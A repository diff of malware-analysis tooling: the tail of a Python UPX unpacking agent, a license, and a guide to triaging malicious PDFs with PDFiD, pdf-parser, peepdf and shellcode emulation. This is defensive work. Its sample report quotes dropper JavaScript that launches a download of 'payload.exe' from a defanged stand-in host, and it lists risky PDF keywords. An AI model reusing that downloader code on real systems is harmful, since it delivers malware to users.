indicators.append(f"Very few imports ({total_imports}) - typical of packed binaries")
|
||||
|
||||
# Check for LoadLibrary/GetProcAddress (runtime import resolution)
|
||||
import_names = []
|
||||
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
for imp in entry.imports:
|
||||
if imp.name:
|
||||
import_names.append(imp.name.decode("utf-8", errors="replace"))
|
||||
if "LoadLibraryA" in import_names and "GetProcAddress" in import_names:
|
||||
indicators.append("LoadLibraryA + GetProcAddress present (runtime import resolution)")
|
||||
|
||||
pe.close()
|
||||
return {
|
||||
"sections": sections,
|
||||
"imports": imports,
|
||||
"total_imports": total_imports,
|
||||
"high_entropy_sections": high_entropy_count,
|
||||
"indicators": indicators,
|
||||
"likely_packed": high_entropy_count > 0 or total_imports < 10,
|
||||
}
|
||||
|
||||
|
||||
def unpack_upx(filepath, output_path=None):
|
||||
"""Attempt to unpack a UPX-packed binary."""
|
||||
if output_path is None:
|
||||
output_path = filepath + ".unpacked"
|
||||
# First try standard UPX decompression
|
||||
cmd = ["upx", "-d", "-o", output_path, filepath]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
if result.returncode == 0:
|
||||
return True, "Standard UPX unpack succeeded", output_path
|
||||
|
||||
# If standard fails, try fixing UPX headers
|
||||
return False, result.stderr.strip(), None
|
||||
|
||||
|
||||
def fix_upx_headers(filepath, output_path):
|
||||
"""Attempt to fix corrupted UPX magic bytes for unpacking."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
# Look for known UPX section names that might be renamed
|
||||
modified = False
|
||||
# Common modifications: UPX0/UPX1 renamed to something else
|
||||
for i in range(len(data) - 3):
|
||||
# Look for section header pattern near typical PE section table location
|
||||
if data[i:i+3] in [b"UP0", b"UP1", b"UX0", b"UX1"]:
|
||||
# Might be modified UPX section name
|
||||
pass
|
||||
|
||||
# Fix UPX! magic if corrupted
|
||||
for i in range(len(data) - 4):
|
||||
if data[i:i+2] == b"UX" and data[i+2:i+4] == b"!\x00":
|
||||
data[i:i+3] = b"UPX"
|
||||
modified = True
|
||||
|
||||
if modified:
|
||||
with open(output_path, "wb") as f:
|
||||
f.write(data)
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def compare_packed_unpacked(packed_path, unpacked_path):
|
||||
"""Compare packed vs unpacked binary properties."""
|
||||
if not HAS_PEFILE:
|
||||
return {}
|
||||
comparison = {}
|
||||
for label, path in [("packed", packed_path), ("unpacked", unpacked_path)]:
|
||||
try:
|
||||
pe = pefile.PE(path)
|
||||
imports = 0
|
||||
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
imports += len(entry.imports)
|
||||
sections = len(pe.sections)
|
||||
pe.close()
|
||||
comparison[label] = {
|
||||
"size": os.path.getsize(path),
|
||||
"sections": sections,
|
||||
"imports": imports,
|
||||
"sha256": compute_hashes(path)["sha256"],
|
||||
}
|
||||
except Exception as e:
|
||||
comparison[label] = {"error": str(e)}
|
||||
return comparison
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Packed Malware Analysis Agent")
|
||||
print("UPX detection, packer identification, automated unpacking")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
hashes = compute_hashes(target)
|
||||
print(f"[*] SHA-256: {hashes['sha256']}")
|
||||
print(f"[*] Size: {os.path.getsize(target)} bytes")
|
||||
|
||||
print("\n--- UPX Signature Check ---")
|
||||
upx_indicators = detect_upx(target)
|
||||
for ind in upx_indicators:
|
||||
print(f" [!] {ind}")
|
||||
|
||||
print("\n--- Generic Packing Analysis ---")
|
||||
packing = detect_generic_packing(target)
|
||||
if "error" not in packing:
|
||||
print(f" Likely packed: {packing['likely_packed']}")
|
||||
print(f" Total imports: {packing['total_imports']}")
|
||||
print(f" High entropy sections: {packing['high_entropy_sections']}")
|
||||
for ind in packing.get("indicators", []):
|
||||
print(f" [!] {ind}")
|
||||
print("\n Sections:")
|
||||
for s in packing.get("sections", []):
|
||||
flag = " [HIGH]" if s["entropy"] > 7.0 else ""
|
||||
print(f" {s['name']:10s} entropy={s['entropy']:.2f} "
|
||||
f"raw={s['raw_size']} virt={s['virtual_size']}{flag}")
|
||||
|
||||
if upx_indicators:
|
||||
print("\n--- UPX Unpacking ---")
|
||||
success, msg, output = unpack_upx(target)
|
||||
if success:
|
||||
print(f" [OK] {msg}")
|
||||
print(f" [*] Unpacked file: {output}")
|
||||
print("\n--- Comparison ---")
|
||||
comp = compare_packed_unpacked(target, output)
|
||||
for label, data in comp.items():
|
||||
if "error" not in data:
|
||||
print(f" {label}: size={data['size']}, "
|
||||
f"sections={data['sections']}, imports={data['imports']}")
|
||||
else:
|
||||
print(f" [FAIL] {msg}")
|
||||
print(" [*] Try fixing UPX headers or use dynamic unpacking with a debugger")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <packed_binary.exe>")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,357 @@
|
||||
---
|
||||
name: analyzing-pdf-malware-with-pdfid
|
||||
description: 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to
|
||||
identify embedded JavaScript, shellcode, exploits, and suspicious objects without
|
||||
opening the document. Determines the attack vector and extracts embedded payloads
|
||||
for further analysis. Activates for requests involving PDF malware analysis, malicious
|
||||
document analysis, PDF exploit investigation, or suspicious attachment triage.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- PDF-analysis
|
||||
- document-malware
|
||||
- PDFiD
|
||||
- static-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1204.002
|
||||
- T1566.001
|
||||
- T1059.007
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Analyzing PDF Malware with PDFiD
|
||||
|
||||
## When to Use
|
||||
|
||||
- A suspicious PDF attachment has been flagged by email security or reported by a user
|
||||
- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
|
||||
- Triaging PDF documents before opening them in a sandbox or analysis environment
|
||||
- Extracting embedded executables, scripts, or URLs from malicious PDF objects
|
||||
- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities
|
||||
|
||||
**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`)
|
||||
- peepdf installed for interactive PDF analysis (`pip install peepdf`)
|
||||
- pdftotext from poppler-utils for extracting text content safely
|
||||
- YARA with PDF-specific rules for malware family identification
|
||||
- Isolated analysis VM without a PDF reader installed (prevent accidental opening)
|
||||
- CyberChef for decoding embedded Base64, hex, or deflate streams
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial Triage with PDFiD
|
||||
|
||||
Scan the PDF for suspicious keywords and structures:
|
||||
|
||||
```bash
|
||||
# Run PDFiD to identify suspicious elements
|
||||
pdfid suspect.pdf
|
||||
|
||||
# Expected output analysis:
|
||||
# /JS - JavaScript (HIGH risk)
|
||||
# /JavaScript - JavaScript object (HIGH risk)
|
||||
# /AA - Auto-Action triggered on open (HIGH risk)
|
||||
# /OpenAction - Action on document open (HIGH risk)
|
||||
# /Launch - Launch external application (HIGH risk)
|
||||
# /EmbeddedFile - Embedded file (MEDIUM risk)
|
||||
# /RichMedia - Flash content (MEDIUM risk)
|
||||
# /ObjStm - Object stream (used for obfuscation)
|
||||
# /URI - URL reference (contextual risk)
|
||||
# /AcroForm - Interactive form (MEDIUM risk)
|
||||
|
||||
# Run with extra detail
|
||||
pdfid -e suspect.pdf
|
||||
|
||||
# Run with disarming (rename suspicious keywords)
|
||||
pdfid -d suspect.pdf
|
||||
```
|
||||
|
||||
```
|
||||
PDFiD Risk Assessment:
|
||||
━━━━━━━━━━━━━━━━━━━━━
|
||||
HIGH RISK indicators (any count > 0):
|
||||
/JS, /JavaScript -> Embedded JavaScript code
|
||||
/AA -> Automatic Action (triggers without user interaction)
|
||||
/OpenAction -> Code runs when document is opened
|
||||
/Launch -> Can launch external executables
|
||||
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
|
||||
|
||||
MEDIUM RISK indicators:
|
||||
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
|
||||
/RichMedia -> Flash/multimedia (Flash exploits)
|
||||
/AcroForm -> Form with possible submit action
|
||||
/XFA -> XML Forms Architecture (complex attack surface)
|
||||
|
||||
LOW RISK indicators:
|
||||
/ObjStm -> Object streams (obfuscation technique)
|
||||
/URI -> External URL references
|
||||
/Page -> Number of pages (context only)
|
||||
```
|
||||
|
||||
### Step 2: Parse PDF Structure with pdf-parser
|
||||
|
||||
Examine suspicious objects identified by PDFiD:
|
||||
|
||||
```bash
|
||||
# List all objects referencing JavaScript
|
||||
pdf-parser --search "/JavaScript" suspect.pdf
|
||||
pdf-parser --search "/JS" suspect.pdf
|
||||
|
||||
# List all objects with OpenAction
|
||||
pdf-parser --search "/OpenAction" suspect.pdf
|
||||
|
||||
# Extract a specific object by ID (example: object 5)
|
||||
pdf-parser --object 5 suspect.pdf
|
||||
|
||||
# Extract and decompress stream content
|
||||
pdf-parser --object 5 --filter --raw suspect.pdf
|
||||
|
||||
# Search for embedded files
|
||||
pdf-parser --search "/EmbeddedFile" suspect.pdf
|
||||
|
||||
# List all objects with their types
|
||||
pdf-parser --stats suspect.pdf
|
||||
```
|
||||
|
||||
### Step 3: Extract and Analyze Embedded JavaScript
|
||||
|
||||
Pull out JavaScript code from PDF objects:
|
||||
|
||||
```bash
|
||||
# Extract JavaScript using pdf-parser
|
||||
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
|
||||
|
||||
# Alternative: Use peepdf for interactive JavaScript extraction
|
||||
peepdf -f -i suspect.pdf << 'EOF'
|
||||
js_analyse
|
||||
EOF
|
||||
|
||||
# peepdf interactive commands for JS analysis:
|
||||
# js_analyse - Extract and show all JavaScript code
|
||||
# js_beautify - Format extracted JavaScript
|
||||
# js_eval <object> - Evaluate JavaScript in sandboxed environment
|
||||
# object <id> - Display object content
|
||||
# rawobject <id> - Display raw object bytes
|
||||
# stream <id> - Display decompressed stream
|
||||
# offsets - Show object offsets in file
|
||||
```
|
||||
|
||||
```python
|
||||
# Python script for comprehensive PDF JavaScript extraction
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
# Extract all streams and search for JavaScript
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--stats", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
|
||||
# Find object IDs containing JavaScript references
|
||||
js_objects = []
|
||||
for line in result.stdout.split('\n'):
|
||||
if '/JavaScript' in line or '/JS' in line:
|
||||
obj_id = re.search(r'obj (\d+)', line)
|
||||
if obj_id:
|
||||
js_objects.append(obj_id.group(1))
|
||||
|
||||
# Extract each JavaScript-containing object
|
||||
for obj_id in js_objects:
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
print(f"\n=== Object {obj_id} ===")
|
||||
print(result.stdout[:2000])
|
||||
```
|
||||
|
||||
### Step 4: Analyze Embedded Shellcode
|
||||
|
||||
Extract and examine shellcode from PDF exploits:
|
||||
|
||||
```bash
|
||||
# Extract raw stream data for shellcode analysis
|
||||
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
|
||||
|
||||
# Analyze shellcode with scdbg (shellcode debugger)
|
||||
scdbg /f shellcode.bin
|
||||
|
||||
# Alternative: Use speakeasy for shellcode emulation
|
||||
python3 -c "
|
||||
import speakeasy
|
||||
|
||||
se = speakeasy.Speakeasy()
|
||||
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
|
||||
se.run_shellcode(sc_addr, count=1000)
|
||||
|
||||
# Review API calls made by shellcode
|
||||
for event in se.get_report()['api_calls']:
|
||||
print(f\"{event['api']}: {event['args']}\")
|
||||
"
|
||||
|
||||
# Use CyberChef to decode hex/base64 encoded shellcode
|
||||
# Input: Extracted stream data
|
||||
# Recipe: From Hex -> Disassemble x86
|
||||
```
|
||||
|
||||
### Step 5: Extract Embedded Files and URLs
|
||||
|
||||
Pull out embedded executables and linked resources:
|
||||
|
||||
```python
|
||||
# Extract embedded files from PDF
|
||||
import subprocess
|
||||
import hashlib
|
||||
|
||||
# Find embedded file objects
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
|
||||
capture_output=True
|
||||
)
|
||||
|
||||
# Extract embedded PE files by searching for MZ header
|
||||
with open("suspect.pdf", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
# Search for embedded PE files
|
||||
offset = 0
|
||||
while True:
|
||||
pos = data.find(b'MZ', offset)
|
||||
if pos == -1:
|
||||
break
|
||||
# Verify PE signature
|
||||
if pos + 0x3C < len(data):
|
||||
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
|
||||
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
|
||||
print(f"Embedded PE found at offset 0x{pos:X}")
|
||||
# Extract (estimate size or use PE header)
|
||||
embedded = data[pos:pos+100000] # Initial extraction
|
||||
sha256 = hashlib.sha256(embedded).hexdigest()
|
||||
with open(f"embedded_{pos:X}.exe", "wb") as out:
|
||||
out.write(embedded)
|
||||
print(f" SHA-256: {sha256}")
|
||||
offset = pos + 1
|
||||
|
||||
# Extract URLs from PDF
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
|
||||
for url in set(urls):
|
||||
print(f"URL: {url}")
|
||||
```
|
||||
|
||||
### Step 6: Generate Analysis Report
|
||||
|
||||
Document all findings from the PDF analysis:
|
||||
|
||||
```
|
||||
Analysis should cover:
|
||||
- PDFiD triage results (suspicious keyword counts)
|
||||
- PDF structure anomalies (object streams, cross-reference issues)
|
||||
- Extracted JavaScript code (deobfuscated if needed)
|
||||
- Shellcode analysis results (API calls, network indicators)
|
||||
- Embedded files extracted with hashes
|
||||
- URLs and external references
|
||||
- CVE identification if a known exploit is detected
|
||||
- YARA rule matches against known PDF malware families
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |
|
||||
| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |
|
||||
| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |
|
||||
| **FlateDecode** | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents |
|
||||
| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |
|
||||
| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
|
||||
| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
|
||||
- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
|
||||
- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
|
||||
- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
|
||||
- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Triaging a Phishing PDF with Embedded JavaScript
|
||||
|
||||
**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.
|
||||
|
||||
**Approach**:
|
||||
1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
|
||||
2. Use pdf-parser to extract the OpenAction object and follow its reference chain
|
||||
3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
|
||||
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
|
||||
5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
|
||||
6. Extract all URLs, IPs, and embedded files as IOCs
|
||||
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)
|
||||
|
||||
**Pitfalls**:
|
||||
- Opening the PDF in a standard reader instead of analyzing it with command-line tools
|
||||
- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
|
||||
- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
|
||||
- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
PDF MALWARE ANALYSIS REPORT
|
||||
==============================
|
||||
File: invoice_2025.pdf
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
File Size: 45,312 bytes
|
||||
PDF Version: 1.7
|
||||
|
||||
PDFID TRIAGE
|
||||
/JS: 1 [HIGH RISK]
|
||||
/JavaScript: 1 [HIGH RISK]
|
||||
/OpenAction: 1 [HIGH RISK]
|
||||
/EmbeddedFile: 0
|
||||
/Launch: 0
|
||||
/URI: 2
|
||||
/Page: 1
|
||||
/ObjStm: 1 [OBFUSCATION]
|
||||
|
||||
SUSPICIOUS OBJECTS
|
||||
Object 5: /OpenAction -> references Object 8
|
||||
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
|
||||
Object 12: /ObjStm containing objects 15-18
|
||||
|
||||
EXTRACTED JAVASCRIPT
|
||||
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
|
||||
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
|
||||
app.launchURL(url, true);
|
||||
// Social engineering redirect, not exploit
|
||||
|
||||
EXTRACTED IOCs
|
||||
URLs: hxxp://malicious[.]com/payload.exe
|
||||
hxxps://fake-login[.]com/adobe/verify
|
||||
Domains: malicious[.]com, fake-login[.]com
|
||||
|
||||
CLASSIFICATION
|
||||
Type: Social Engineering (URL redirect)
|
||||
CVE: None (no exploit code detected)
|
||||
Risk: HIGH (downloads executable payload)
|
||||
Family: Generic PDF Dropper
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
# API Reference: PDF Malware Analysis Tools
|
||||
|
||||
## PDFiD - PDF Keyword Scanner
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
pdfid.py document.pdf
|
||||
pdfid.py -n document.pdf # Show all keywords (including zero counts)
|
||||
pdfid.py -e document.pdf # Extra data (entropy)
|
||||
pdfid.py -f document.pdf # Force scan (ignore header)
|
||||
```
|
||||
|
||||
### Suspicious Keywords
|
||||
| Keyword | Risk | Description |
|
||||
|---------|------|-------------|
|
||||
| `/JS` | HIGH | JavaScript code |
|
||||
| `/JavaScript` | HIGH | JavaScript action |
|
||||
| `/AA` | HIGH | Additional Actions (auto-execute) |
|
||||
| `/OpenAction` | HIGH | Action on document open |
|
||||
| `/Launch` | HIGH | Launch external application |
|
||||
| `/EmbeddedFile` | MEDIUM | Embedded file object |
|
||||
| `/AcroForm` | MEDIUM | Interactive form |
|
||||
| `/JBIG2Decode` | HIGH | JBIG2 exploit vector (CVE-2009-0658) |
|
||||
| `/RichMedia` | MEDIUM | Flash/multimedia content |
|
||||
| `/XFA` | MEDIUM | XML Forms (script capable) |
|
||||
| `/ObjStm` | LOW | Object streams (can hide objects) |
|
||||
|
||||
### Output Format
|
||||
```
|
||||
PDF Header: %PDF-1.7
|
||||
obj 45
|
||||
endobj 45
|
||||
stream 12
|
||||
/JS 2
|
||||
/JavaScript 1
|
||||
/OpenAction 1
|
||||
/EmbeddedFile 0
|
||||
```
|
||||
|
||||
## pdf-parser.py - PDF Object Parser
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
pdf-parser.py document.pdf # List all objects
|
||||
pdf-parser.py -o 5 document.pdf # Show object 5
|
||||
pdf-parser.py -s "/JS" document.pdf # Search for keyword
|
||||
pdf-parser.py -f document.pdf # Filter streams
|
||||
pdf-parser.py -c document.pdf # Show raw content
|
||||
pdf-parser.py -d 5 document.pdf # Dump stream of object 5
|
||||
pdf-parser.py --object 5 --filter document.pdf # Decompress stream
|
||||
```
|
||||
|
||||
